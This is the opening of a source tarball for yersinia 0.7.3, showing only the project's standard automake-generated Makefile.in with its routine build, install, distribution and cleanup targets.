yersinia-0.7.3/0000755000175000017500000000000012234207440011144 5ustar nknkyersinia-0.7.3/NEWS0000644000175000017500000000000012234207266011637 0ustar nknkyersinia-0.7.3/Makefile.in0000644000175000017500000006444112234207266013230 0ustar nknk# Makefile.in generated by automake 1.11.3 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software # Foundation, Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ # $Id: Makefile.am 2 2006-04-03 21:04:25Z tomac $ VPATH = @srcdir@ pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ target_triplet = @target@ subdir = . DIST_COMMON = README $(am__configure_deps) $(srcdir)/Makefile.am \ $(srcdir)/Makefile.in $(top_srcdir)/configure AUTHORS COPYING \ ChangeLog INSTALL NEWS THANKS TODO config.guess config.sub \ install-sh missing mkinstalldirs ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \ $(top_srcdir)/configure.in am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \ configure.lineno config.status.lineno mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs CONFIG_HEADER = $(top_builddir)/src/config.h CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = SOURCES = DIST_SOURCES = RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \ html-recursive info-recursive install-data-recursive \ install-dvi-recursive install-exec-recursive \ install-html-recursive install-info-recursive \ install-pdf-recursive install-ps-recursive install-recursive \ installcheck-recursive installdirs-recursive pdf-recursive \ ps-recursive uninstall-recursive am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; am__vpath_adj = case $$p in \ $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \ *) f=$$p;; \ esac; am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`; am__install_max = 40 am__nobase_strip_setup = \ srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'` am__nobase_strip = \ for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||" am__nobase_list = $(am__nobase_strip_setup); \ for p in $$list; do echo "$$p $$p"; done | \ sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \ $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \ if (++n[$$2] == $(am__install_max)) \ { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \ END { for (dir in files) print dir, files[dir] }' am__base_list = \ sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \ sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g' am__uninstall_files_from_dir = { \ test -z "$$files" \ || { test ! -d "$$dir" && test ! -f "$$dir" && test ! -r "$$dir"; } \ || { echo " ( cd '$$dir' && rm -f" $$files ")"; \ $(am__cd) "$$dir" && rm -f $$files; }; \ } man8dir = $(mandir)/man8 am__installdirs = "$(DESTDIR)$(man8dir)" NROFF = nroff MANS = $(man_MANS) RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive \ distclean-recursive maintainer-clean-recursive AM_RECURSIVE_TARGETS = $(RECURSIVE_TARGETS:-recursive=) \ $(RECURSIVE_CLEAN_TARGETS:-recursive=) tags TAGS ctags CTAGS \ distdir dist dist-all distcheck ETAGS = etags CTAGS = ctags DIST_SUBDIRS = $(SUBDIRS) DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) distdir = $(PACKAGE)-$(VERSION) top_distdir = $(distdir) am__remove_distdir = \ if test -d "$(distdir)"; then \ find "$(distdir)" -type d ! -perm -200 -exec chmod u+w {} ';' \ && rm -rf "$(distdir)" \ || { sleep 5 && rm -rf "$(distdir)"; }; \ else :; fi am__relativize = \ dir0=`pwd`; \ sed_first='s,^\([^/]*\)/.*$$,\1,'; \ sed_rest='s,^[^/]*/*,,'; \ sed_last='s,^.*/\([^/]*\)$$,\1,'; \ sed_butlast='s,/*[^/]*$$,,'; \ while test -n "$$dir1"; do \ first=`echo "$$dir1" | sed -e "$$sed_first"`; \ if test "$$first" != "."; then \ if test "$$first" = ".."; then \ dir2=`echo "$$dir0" | sed -e "$$sed_last"`/"$$dir2"; \ dir0=`echo "$$dir0" | sed -e "$$sed_butlast"`; \ else \ first2=`echo "$$dir2" | sed -e "$$sed_first"`; \ if test "$$first2" = "$$first"; then \ dir2=`echo "$$dir2" | sed -e "$$sed_rest"`; \ else \ dir2="../$$dir2"; \ fi; \ dir0="$$dir0"/"$$first"; \ fi; \ fi; \ dir1=`echo "$$dir1" | sed -e "$$sed_rest"`; \ done; \ reldir="$$dir2" DIST_ARCHIVES = $(distdir).tar.gz GZIP_ENV = --best distuninstallcheck_listfiles = find . -type f -print am__distuninstallcheck_listfiles = $(distuninstallcheck_listfiles) \ | sed 's|^\./|$(prefix)/|' | grep -v '$(infodir)/dir$$' distcleancheck_listfiles = find . -type f -print ACLOCAL = @ACLOCAL@ AMTAR = @AMTAR@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ CATALOGS = @CATALOGS@ CATOBJEXT = @CATOBJEXT@ CC = @CC@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CURSES_INCLUDEDIR = @CURSES_INCLUDEDIR@ CURSES_LIBS = @CURSES_LIBS@ CYGPATH_W = @CYGPATH_W@ DATADIRNAME = @DATADIRNAME@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ EXEEXT = @EXEEXT@ GETTEXT_PACKAGE = @GETTEXT_PACKAGE@ GMOFILES = @GMOFILES@ GMSGFMT = @GMSGFMT@ GREP = @GREP@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ INSTOBJEXT = @INSTOBJEXT@ INTLLIBS = @INTLLIBS@ LDFLAGS = @LDFLAGS@ LIBNET_CONFIG = @LIBNET_CONFIG@ LIBNET_INCLUDE = @LIBNET_INCLUDE@ LIBNET_LINK = @LIBNET_LINK@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ LTLIBOBJS = @LTLIBOBJS@ MAKEDEPEND = @MAKEDEPEND@ MAKEINFO = @MAKEINFO@ MKDIR_P = @MKDIR_P@ MKINSTALLDIRS = @MKINSTALLDIRS@ MSGFMT = @MSGFMT@ MSGFMT_OPTS = @MSGFMT_OPTS@ OBJEXT = @OBJEXT@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_CFLAGS = @PACKAGE_CFLAGS@ PACKAGE_LIBS = @PACKAGE_LIBS@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PATH_SEPARATOR = @PATH_SEPARATOR@ PCAP_INCLUDE = @PCAP_INCLUDE@ PCAP_LINK = @PCAP_LINK@ PKG_CONFIG = @PKG_CONFIG@ PKG_CONFIG_LIBDIR = @PKG_CONFIG_LIBDIR@ PKG_CONFIG_PATH = @PKG_CONFIG_PATH@ POFILES = @POFILES@ POSUB = @POSUB@ PO_IN_DATADIR_FALSE = @PO_IN_DATADIR_FALSE@ PO_IN_DATADIR_TRUE = @PO_IN_DATADIR_TRUE@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ USE_NLS = @USE_NLS@ VERSION = @VERSION@ XGETTEXT = @XGETTEXT@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_CC = @ac_ct_CC@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = @host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target = @target@ target_alias = @target_alias@ target_cpu = @target_cpu@ target_os = @target_os@ target_vendor = @target_vendor@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ SUBDIRS = src man_MANS = yersinia.8 EXTRA_DIST = $(man_MANS) FAQ THANKS src/yersinia.conf all: all-recursive .SUFFIXES: am--refresh: Makefile @: $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ echo ' cd $(srcdir) && $(AUTOMAKE) --gnu'; \ $(am__cd) $(srcdir) && $(AUTOMAKE) --gnu \ && exit 0; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --gnu Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ echo ' $(SHELL) ./config.status'; \ $(SHELL) ./config.status;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) $(SHELL) ./config.status --recheck $(top_srcdir)/configure: $(am__configure_deps) $(am__cd) $(srcdir) && $(AUTOCONF) $(ACLOCAL_M4): $(am__aclocal_m4_deps) $(am__cd) $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS) $(am__aclocal_m4_deps): install-man8: $(man_MANS) @$(NORMAL_INSTALL) test -z "$(man8dir)" || $(MKDIR_P) "$(DESTDIR)$(man8dir)" @list=''; test -n "$(man8dir)" || exit 0; \ { for i in $$list; do echo "$$i"; done; \ l2='$(man_MANS)'; for i in $$l2; do echo "$$i"; done | \ sed -n '/\.8[a-z]*$$/p'; \ } | while read p; do \ if test -f $$p; then d=; else d="$(srcdir)/"; fi; \ echo "$$d$$p"; echo "$$p"; \ done | \ sed -e 'n;s,.*/,,;p;h;s,.*\.,,;s,^[^8][0-9a-z]*$$,8,;x' \ -e 's,\.[0-9a-z]*$$,,;$(transform);G;s,\n,.,' | \ sed 'N;N;s,\n, ,g' | { \ list=; while read file base inst; do \ if test "$$base" = "$$inst"; then list="$$list $$file"; else \ echo " $(INSTALL_DATA) '$$file' '$(DESTDIR)$(man8dir)/$$inst'"; \ $(INSTALL_DATA) "$$file" "$(DESTDIR)$(man8dir)/$$inst" || exit $$?; \ fi; \ done; \ for i in $$list; do echo "$$i"; done | $(am__base_list) | \ while read files; do \ test -z "$$files" || { \ echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(man8dir)'"; \ $(INSTALL_DATA) $$files "$(DESTDIR)$(man8dir)" || exit $$?; }; \ done; } uninstall-man8: @$(NORMAL_UNINSTALL) @list=''; test -n "$(man8dir)" || exit 0; \ files=`{ for i in $$list; do echo "$$i"; done; \ l2='$(man_MANS)'; for i in $$l2; do echo "$$i"; done | \ sed -n '/\.8[a-z]*$$/p'; \ } | sed -e 's,.*/,,;h;s,.*\.,,;s,^[^8][0-9a-z]*$$,8,;x' \ -e 's,\.[0-9a-z]*$$,,;$(transform);G;s,\n,.,'`; \ dir='$(DESTDIR)$(man8dir)'; $(am__uninstall_files_from_dir) # This directory's subdirectories are mostly independent; you can cd # into them and run `make' without going through this Makefile. # To change the values of `make' variables: instead of editing Makefiles, # (1) if the variable is set in `config.status', edit `config.status' # (which will cause the Makefiles to be regenerated when you run `make'); # (2) otherwise, pass the desired values on the `make' command line. $(RECURSIVE_TARGETS): @fail= failcom='exit 1'; \ for f in x $$MAKEFLAGS; do \ case $$f in \ *=* | --[!k]*);; \ *k*) failcom='fail=yes';; \ esac; \ done; \ dot_seen=no; \ target=`echo $@ | sed s/-recursive//`; \ list='$(SUBDIRS)'; for subdir in $$list; do \ echo "Making $$target in $$subdir"; \ if test "$$subdir" = "."; then \ dot_seen=yes; \ local_target="$$target-am"; \ else \ local_target="$$target"; \ fi; \ ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ || eval $$failcom; \ done; \ if test "$$dot_seen" = "no"; then \ $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ fi; test -z "$$fail" $(RECURSIVE_CLEAN_TARGETS): @fail= failcom='exit 1'; \ for f in x $$MAKEFLAGS; do \ case $$f in \ *=* | --[!k]*);; \ *k*) failcom='fail=yes';; \ esac; \ done; \ dot_seen=no; \ case "$@" in \ distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \ *) list='$(SUBDIRS)' ;; \ esac; \ rev=''; for subdir in $$list; do \ if test "$$subdir" = "."; then :; else \ rev="$$subdir $$rev"; \ fi; \ done; \ rev="$$rev ."; \ target=`echo $@ | sed s/-recursive//`; \ for subdir in $$rev; do \ echo "Making $$target in $$subdir"; \ if test "$$subdir" = "."; then \ local_target="$$target-am"; \ else \ local_target="$$target"; \ fi; \ ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ || eval $$failcom; \ done && test -z "$$fail" tags-recursive: list='$(SUBDIRS)'; for subdir in $$list; do \ test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \ done ctags-recursive: list='$(SUBDIRS)'; for subdir in $$list; do \ test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \ done ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ mkid -fID $$unique tags: TAGS TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) set x; \ here=`pwd`; \ if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ include_option=--etags-include; \ empty_fix=.; \ else \ include_option=--include; \ empty_fix=; \ fi; \ list='$(SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ test ! -f $$subdir/TAGS || \ set "$$@" "$$include_option=$$here/$$subdir/TAGS"; \ fi; \ done; \ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ shift; \ if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ test -n "$$unique" || unique=$$empty_fix; \ if test $$# -gt 0; then \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ "$$@" $$unique; \ else \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ $$unique; \ fi; \ fi ctags: CTAGS CTAGS: ctags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ test -z "$(CTAGS_ARGS)$$unique" \ || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ $$unique GTAGS: here=`$(am__cd) $(top_builddir) && pwd` \ && $(am__cd) $(top_srcdir) \ && gtags -i $(GTAGS_ARGS) "$$here" distclean-tags: -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags distdir: $(DISTFILES) @list='$(MANS)'; if test -n "$$list"; then \ list=`for p in $$list; do \ if test -f $$p; then d=; else d="$(srcdir)/"; fi; \ if test -f "$$d$$p"; then echo "$$d$$p"; else :; fi; done`; \ if test -n "$$list" && \ grep 'ab help2man is required to generate this page' $$list >/dev/null; then \ echo "error: found man pages containing the \`missing help2man' replacement text:" >&2; \ grep -l 'ab help2man is required to generate this page' $$list | sed 's/^/ /' >&2; \ echo " to fix them, install help2man, remove and regenerate the man pages;" >&2; \ echo " typically \`make maintainer-clean' will remove them" >&2; \ exit 1; \ else :; fi; \ else :; fi $(am__remove_distdir) test -d "$(distdir)" || mkdir "$(distdir)" @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ test -d "$(distdir)/$$subdir" \ || $(MKDIR_P) "$(distdir)/$$subdir" \ || exit 1; \ fi; \ done @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ dir1=$$subdir; dir2="$(distdir)/$$subdir"; \ $(am__relativize); \ new_distdir=$$reldir; \ dir1=$$subdir; dir2="$(top_distdir)"; \ $(am__relativize); \ new_top_distdir=$$reldir; \ echo " (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) top_distdir="$$new_top_distdir" distdir="$$new_distdir" \\"; \ echo " am__remove_distdir=: am__skip_length_check=: am__skip_mode_fix=: distdir)"; \ ($(am__cd) $$subdir && \ $(MAKE) $(AM_MAKEFLAGS) \ top_distdir="$$new_top_distdir" \ distdir="$$new_distdir" \ am__remove_distdir=: \ am__skip_length_check=: \ am__skip_mode_fix=: \ distdir) \ || exit 1; \ fi; \ done -test -n "$(am__skip_mode_fix)" \ || find "$(distdir)" -type d ! -perm -755 \ -exec chmod u+rwx,go+rx {} \; -o \ ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \ ! -type d ! -perm -400 -exec chmod a+r {} \; -o \ ! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \ || chmod -R a+r "$(distdir)" dist-gzip: distdir tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz $(am__remove_distdir) dist-bzip2: distdir tardir=$(distdir) && $(am__tar) | BZIP2=$${BZIP2--9} bzip2 -c >$(distdir).tar.bz2 $(am__remove_distdir) dist-lzip: distdir tardir=$(distdir) && $(am__tar) | lzip -c $${LZIP_OPT--9} >$(distdir).tar.lz $(am__remove_distdir) dist-lzma: distdir tardir=$(distdir) && $(am__tar) | lzma -9 -c >$(distdir).tar.lzma $(am__remove_distdir) dist-xz: distdir tardir=$(distdir) && $(am__tar) | XZ_OPT=$${XZ_OPT--e} xz -c >$(distdir).tar.xz $(am__remove_distdir) dist-tarZ: distdir tardir=$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z $(am__remove_distdir) dist-shar: distdir shar $(distdir) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).shar.gz $(am__remove_distdir) dist-zip: distdir -rm -f $(distdir).zip zip -rq $(distdir).zip $(distdir) $(am__remove_distdir) dist dist-all: distdir tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz $(am__remove_distdir) # This target untars the dist file and tries a VPATH configuration. Then # it guarantees that the distribution is self-contained by making another # tarfile. distcheck: dist case '$(DIST_ARCHIVES)' in \ *.tar.gz*) \ GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\ *.tar.bz2*) \ bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\ *.tar.lzma*) \ lzma -dc $(distdir).tar.lzma | $(am__untar) ;;\ *.tar.lz*) \ lzip -dc $(distdir).tar.lz | $(am__untar) ;;\ *.tar.xz*) \ xz -dc $(distdir).tar.xz | $(am__untar) ;;\ *.tar.Z*) \ uncompress -c $(distdir).tar.Z | $(am__untar) ;;\ *.shar.gz*) \ GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\ *.zip*) \ unzip $(distdir).zip ;;\ esac chmod -R a-w $(distdir); chmod a+w $(distdir) mkdir $(distdir)/_build mkdir $(distdir)/_inst chmod a-w $(distdir) test -d $(distdir)/_build || exit 0; \ dc_install_base=`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[^:\\/]:[\\/],/,'` \ && dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \ && am__cwd=`pwd` \ && $(am__cd) $(distdir)/_build \ && ../configure --srcdir=.. --prefix="$$dc_install_base" \ $(AM_DISTCHECK_CONFIGURE_FLAGS) \ $(DISTCHECK_CONFIGURE_FLAGS) \ && $(MAKE) $(AM_MAKEFLAGS) \ && $(MAKE) $(AM_MAKEFLAGS) dvi \ && $(MAKE) $(AM_MAKEFLAGS) check \ && $(MAKE) $(AM_MAKEFLAGS) install \ && $(MAKE) $(AM_MAKEFLAGS) installcheck \ && $(MAKE) $(AM_MAKEFLAGS) uninstall \ && $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir="$$dc_install_base" \ distuninstallcheck \ && chmod -R a-w "$$dc_install_base" \ && ({ \ (cd ../.. && umask 077 && mkdir "$$dc_destdir") \ && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" install \ && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" uninstall \ && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" \ distuninstallcheck_dir="$$dc_destdir" distuninstallcheck; \ } || { rm -rf "$$dc_destdir"; exit 1; }) \ && rm -rf "$$dc_destdir" \ && $(MAKE) $(AM_MAKEFLAGS) dist \ && rm -rf $(DIST_ARCHIVES) \ && $(MAKE) $(AM_MAKEFLAGS) distcleancheck \ && cd "$$am__cwd" \ || exit 1 $(am__remove_distdir) @(echo "$(distdir) archives ready for distribution: "; \ list='$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | \ sed -e 1h -e 1s/./=/g -e 1p -e 1x -e '$$p' -e '$$x' distuninstallcheck: @test -n '$(distuninstallcheck_dir)' || { \ echo 'ERROR: trying to run $@ with an empty' \ '$$(distuninstallcheck_dir)' >&2; \ exit 1; \ }; \ $(am__cd) '$(distuninstallcheck_dir)' || { \ echo 'ERROR: cannot chdir into $(distuninstallcheck_dir)' >&2; \ exit 1; \ }; \ test `$(am__distuninstallcheck_listfiles) | wc -l` -eq 0 \ || { echo "ERROR: files left after uninstall:" ; \ if test -n "$(DESTDIR)"; then \ echo " (check DESTDIR support)"; \ fi ; \ $(distuninstallcheck_listfiles) ; \ exit 1; } >&2 distcleancheck: distclean @if test '$(srcdir)' = . ; then \ echo "ERROR: distcleancheck can only run from a VPATH build" ; \ exit 1 ; \ fi @test `$(distcleancheck_listfiles) | wc -l` -eq 0 \ || { echo "ERROR: files left in build directory after distclean:" ; \ $(distcleancheck_listfiles) ; \ exit 1; } >&2 check-am: all-am check: check-recursive all-am: Makefile $(MANS) installdirs: installdirs-recursive installdirs-am: for dir in "$(DESTDIR)$(man8dir)"; do \ test -z "$$dir" || $(MKDIR_P) "$$dir"; \ done install: install-recursive install-exec: install-exec-recursive install-data: install-data-recursive uninstall: uninstall-recursive install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-recursive install-strip: if test -z '$(STRIP)'; then \ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ install; \ else \ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ fi mostlyclean-generic: clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-recursive clean-am: clean-generic mostlyclean-am distclean: distclean-recursive -rm -f $(am__CONFIG_DISTCLEAN_FILES) -rm -f Makefile distclean-am: clean-am distclean-generic distclean-tags dvi: dvi-recursive dvi-am: html: html-recursive html-am: info: info-recursive info-am: install-data-am: install-man install-dvi: install-dvi-recursive install-dvi-am: install-exec-am: install-html: install-html-recursive install-html-am: install-info: install-info-recursive install-info-am: install-man: install-man8 install-pdf: install-pdf-recursive install-pdf-am: install-ps: install-ps-recursive install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-recursive -rm -f $(am__CONFIG_DISTCLEAN_FILES) -rm -rf $(top_srcdir)/autom4te.cache -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-recursive mostlyclean-am: mostlyclean-generic pdf: pdf-recursive pdf-am: ps: ps-recursive ps-am: uninstall-am: uninstall-man uninstall-man: uninstall-man8 .MAKE: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) ctags-recursive \ install-am install-strip tags-recursive .PHONY: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) CTAGS GTAGS \ all all-am am--refresh check check-am clean clean-generic \ ctags ctags-recursive dist dist-all dist-bzip2 dist-gzip \ dist-lzip dist-lzma dist-shar dist-tarZ dist-xz dist-zip \ distcheck distclean distclean-generic distclean-tags \ distcleancheck distdir distuninstallcheck dvi dvi-am html \ html-am info info-am install install-am install-data \ install-data-am install-dvi install-dvi-am install-exec \ install-exec-am install-html install-html-am install-info \ install-info-am install-man install-man8 install-pdf \ install-pdf-am install-ps install-ps-am install-strip \ installcheck installcheck-am installdirs installdirs-am \ maintainer-clean maintainer-clean-generic mostlyclean 